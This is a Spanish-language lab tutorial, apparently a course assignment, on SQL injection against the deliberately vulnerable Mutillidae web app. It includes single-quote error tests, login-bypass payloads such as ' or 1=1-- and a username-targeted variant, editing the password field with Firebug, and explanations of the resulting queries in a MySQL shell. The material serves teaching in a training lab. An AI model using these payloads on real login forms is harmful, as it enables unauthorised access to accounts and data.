**¿Qué es una inyección SQL?** La inyección SQL (también conocida como SQL fishing) es una técnica que se usa a menudo para atacar aplicaciones impulsadas por datos. Esto se hace incluyendo porciones de declaraciones SQL en un campo de entrada en un intento de hacer que el sitio web pase un nuevo comando SQL falso a la base de datos (por ejemplo, volcar los contenidos de la base de datos al atacante). La inyección SQL es una técnica de inyección de código que explota una vulnerabilidad de seguridad en el software de una aplicación. La vulnerabilidad ocurre cuando la entrada del usuario se filtra incorrectamente para los caracteres de escape literales de cadena incrustados en las declaraciones SQL o la entrada del usuario no se escribe con fuerza y ​​se ejecuta inesperadamente. La inyección SQL se conoce principalmente como un vector de ataque para sitios web, pero se puede usar para atacar cualquier tipo de base de datos SQL. **Requisitos para hacer la práctica** Tener instalado Fedora 14\\ Tener instaldo BackTrack 5 R1\\ Tener instalado Firebug **En esta práctica haremos lo siguiente:** * Probar el script de Login.php para las vulnerabilidades de inyección de SQL. * Varios métodos sobre cómo omitir la cláusula de contraseña. * Proporcionar un breve tutorial de base de datos para ejemplos de los métodos reales de inyección de SQL. Hacemos un ifconfig de las dos máquinas para saber la ip, luego en el Backtrack instalamos Firebug por si no está instaldo {{:sad:fedora:p5:01.png?500|}} ---- **Si no tenemos instalado Firebug** Abrimos el navegador y vamos a http://getfirebug.com/releases/firebug/1.7/firebug-1.7.3.xpi e instalamos clic en restar now ---- Desde el Bt vamos a http://ip-fedora/mutillidae y pulsamos la opcion de **login/register** {{:sad:fedora:p5:02.png?500|}} ====== Test de la comilla simple (') ====== En el campo de texto "name" escribimos (') y pulsamos login {{:sad:fedora:p5:03.png?500|}} Analizamos que ha pasado Una comilla simple (') es un carácter SQL reservado que rompe la consulta siguiente colocándola en el cuadro de texto Nombre. El mero hecho de que la consulta produzca un error significa que existe una gran posibilidad de que sea susceptible a una Inyección de SQL. Que sentencia ha entendido el ordenador? SELECT * FROM accounts WHERE username = ''' AND password =' ​​' A continuación escribo un ejemplo de una consulta normal SELECT * FROM accounts WHERE username = 'admin' AND password = 'adminpass' {{:sad:fedora:p5:04.png?500|}} ======= Login sin password hacemos un By-Pass ======= Ahora reemplazamos ** ' or 1=1-- ** (hay que poner espacio detrás de los los --) **¿Qué hemos hecho?** Buscamos un nombre de usuario que sea igual a nada O donde 1 sea igual a 1. Entonces, creamos una condición que siempre es verdadera (O 1 = 1). La cadena "-" es un comentario en SQL. Usamos este truco para comentar el resto de la consulta SQL (AND password = ' '), que elimina esa autenticación de contraseña. SELECT * FROM accounts WHERE username = '' or 1 = 1-- 'AND password =' ​​' {{:sad:fedora:p5:05.png?500|}} **Verificando resultados** Ha iniciado sesión como administrador. Debido al diseño del código de Mutillidae, iniciamos sesión como administrador porque admin es el primer usuario en la tabla de cuentas. En DVWA, como una cadena similar (**% 'or' 0 '=' 0 '--**) muestra toda la lista aplicaciones que puede realizar el usuario {{:sad:fedora:p5:06.png?500|}} Click en ''logout'' ====== Campo PASSWORD ====== Ahora toca el campo password, hacemos la prueba de la comilla simple en el campo Password pulsamos en **Login/register**, ponemos Name: samurai y en **password** pulsamos botón derecho e inspeccionar elemento Analizamos los resultados de la comilla simple (') Una comilla simple (') es un carácter SQL reservado que rompe la consulta siguiente al colocarla en el cuadro de texto Contraseña. El mero hecho de que la consulta produzca un error significa que existe una gran posibilidad de que podamos realizar una Inyección de SQL. SELECT * FROM accounts WHERE username='samurai' and password=''' a continuación muestro un ejemplo normal SELECT * FROM accounts WHERE username='samurai' AND password='samurai' obteniendo el acceso poniendo comilla simple en el campo contraseña Inspeccionamos el campo de texto contraseña Hacemos Click en **Login/Register** Ponemos en el campo **Name**: **samurai** En Password:pulsamos boton derecho del raton y pulsamos en **"Inspect Element"** y reemplazamos la palabra **password** por la palabra **text** {{:sad:fedora:p5:07.png?500|}} {{:sad:fedora:p5:08.png?500|}} {{:sad:fedora:p5:09.png?500|}} {{:sad:fedora:p5:10.png?500|}} Aplicamos el test que siempre es verdad **(' or 1=1 -- )** En ** name** escribimos **samurai** en **password** escribimos **' or 1=1--** (recuerda que tenemos que poner un espacio en blanco despues de los guiones) y pulsamos **Login** {{:sad:fedora:p5:11.png?500|}} {{:sad:fedora:p5:12.png?500|}} Bueno, lo que veo son buenas noticias. Por un lado, estoy contento de haber iniciado sesión, pero debo iniciar sesión como samurai en lugar de administrador. Hemos iniciado sesión como administrador, porque admin es el primer usuario en la tabla accounts, pulsamos logout **Obtener acceso (3)** Inspeccionaremos el cuadro de texto Password,\\ Clic en Login/register\\ Name : samurai\\ Password : clic boton derecho y click en inspeccionar elemento\\ Editamos el campo Password\\ reemplazamos la palabra "password" por la palabra "text"\\ En vez del 20 en el campo size ponemos 50\\ Despues de maxlengh= ponemos 50\\ Minimizamos Firebub\\ Aplicamos el text que siempre es verdad\\ Name : samurai\\ password : ' or (1=1 and username='samurai')-- (ponemos un espacio en blanco despues de los 2 guiones)\\ vemos que el pasword ya no está oculto por asterisco, sino está en texto plano Verificamos los resultados, (somos usuario samurai ?) Observamos que hemos iniciado la sesión como samurai LOL LOL ahora vamos la Fedora y encendemos un terminal root escribimos mysql -uroot -psamurai show databases; use nowasp; **show databases** nos proporciona una lista de bases de datos.\\ **use nowasp**, nos permite seleccionar una base de datos en particular.\\ show tables; desc accounts; **show tables** nos permite ver todas las tablas en la base de datos nowasp. \\ **desc accounts**, nos permite ver todas las columnas de la tabla accounts.\\ select * from accounts; Para ver el contenido de la tabla accounts Algunos ejemplos select * from accounts where username = '' and password = ''; nota son todo comillas simples select * from accounts where username = 'samurai' and password = 'samurai'; nota son todo comillas simples select * from accounts where username = 'samurai' and password = 'wrongpassword'; select * from accounts where username = 'samurai';-- and password = 'wrongpassword'; La primera consulta es el procedimiento almacenado real que Fedora usa para verificar las credenciales de nombre de usuario/contraseña. \\ La segunda consulta es un ejemplo de autenticación exitosa de credenciales. (Ej., Nombre de usuario = 'samurai' y contraseña = 'samurai') \\ La tercera consulta es un ejemplo de una autenticación fallida de credenciales. (Por ejemplo, username = 'samurai' y password = 'wrongpassword') \\ La cuarta consulta es un ejemplo de cómo comentar el campo "contraseña" del procedimiento para autenticar credenciales. \\ select * from accounts where username = ''' and password = ''; nota todas las comillas son simples '; select * from accounts where username = '' or 1=1; -- and password = ''; nota: todas las comillas son simples La primera consulta es un ejemplo que hemos hecho al princicip de la practica\\ El intérprete de comandos mysql continúa en la línea siguiente, lo que significa que la instrucción está rota, lo que produjo los errores que hemos visto antes. Para volver al shell mysql, debemos completar la declaración con a (';). \\ La segunda consulta es el ejemplo ** 'or 1 = 1** produce una condición siempre verdadera, y el; **--** comentarios / deshabilita el "campo contraseña". \\ select * from accounts where username = 'samurai' and password = '' or 1=1; -- '; (comillas simples) select * from accounts where username = 'samurai' and password = '' or (1=1 and username = 'samurai'); -- '; (comillas simples); La primera consulta es un ejemplo ya hecho. Para el diseño del código con el Fedora, solo se muestra un resultado en la aplicación. Sin embargo, ejecutar esta consulta directamente en mysql generará todos los registros. \\ La segunda consulta, el ** 'o (1 = 1 y nombre de usuario =' samurai '); -** produce una condición siempre verdadera, y el;**--** comentarios/inhabilita el campo "contraseña" ''Practica que hay que entregar'' mysql -uroot -psamurai use nowasp; select * from accounts where username = 'samurai' and password = '' or (1=1 and username = 'samurai'); -- '; \! date \! echo "tu nombre"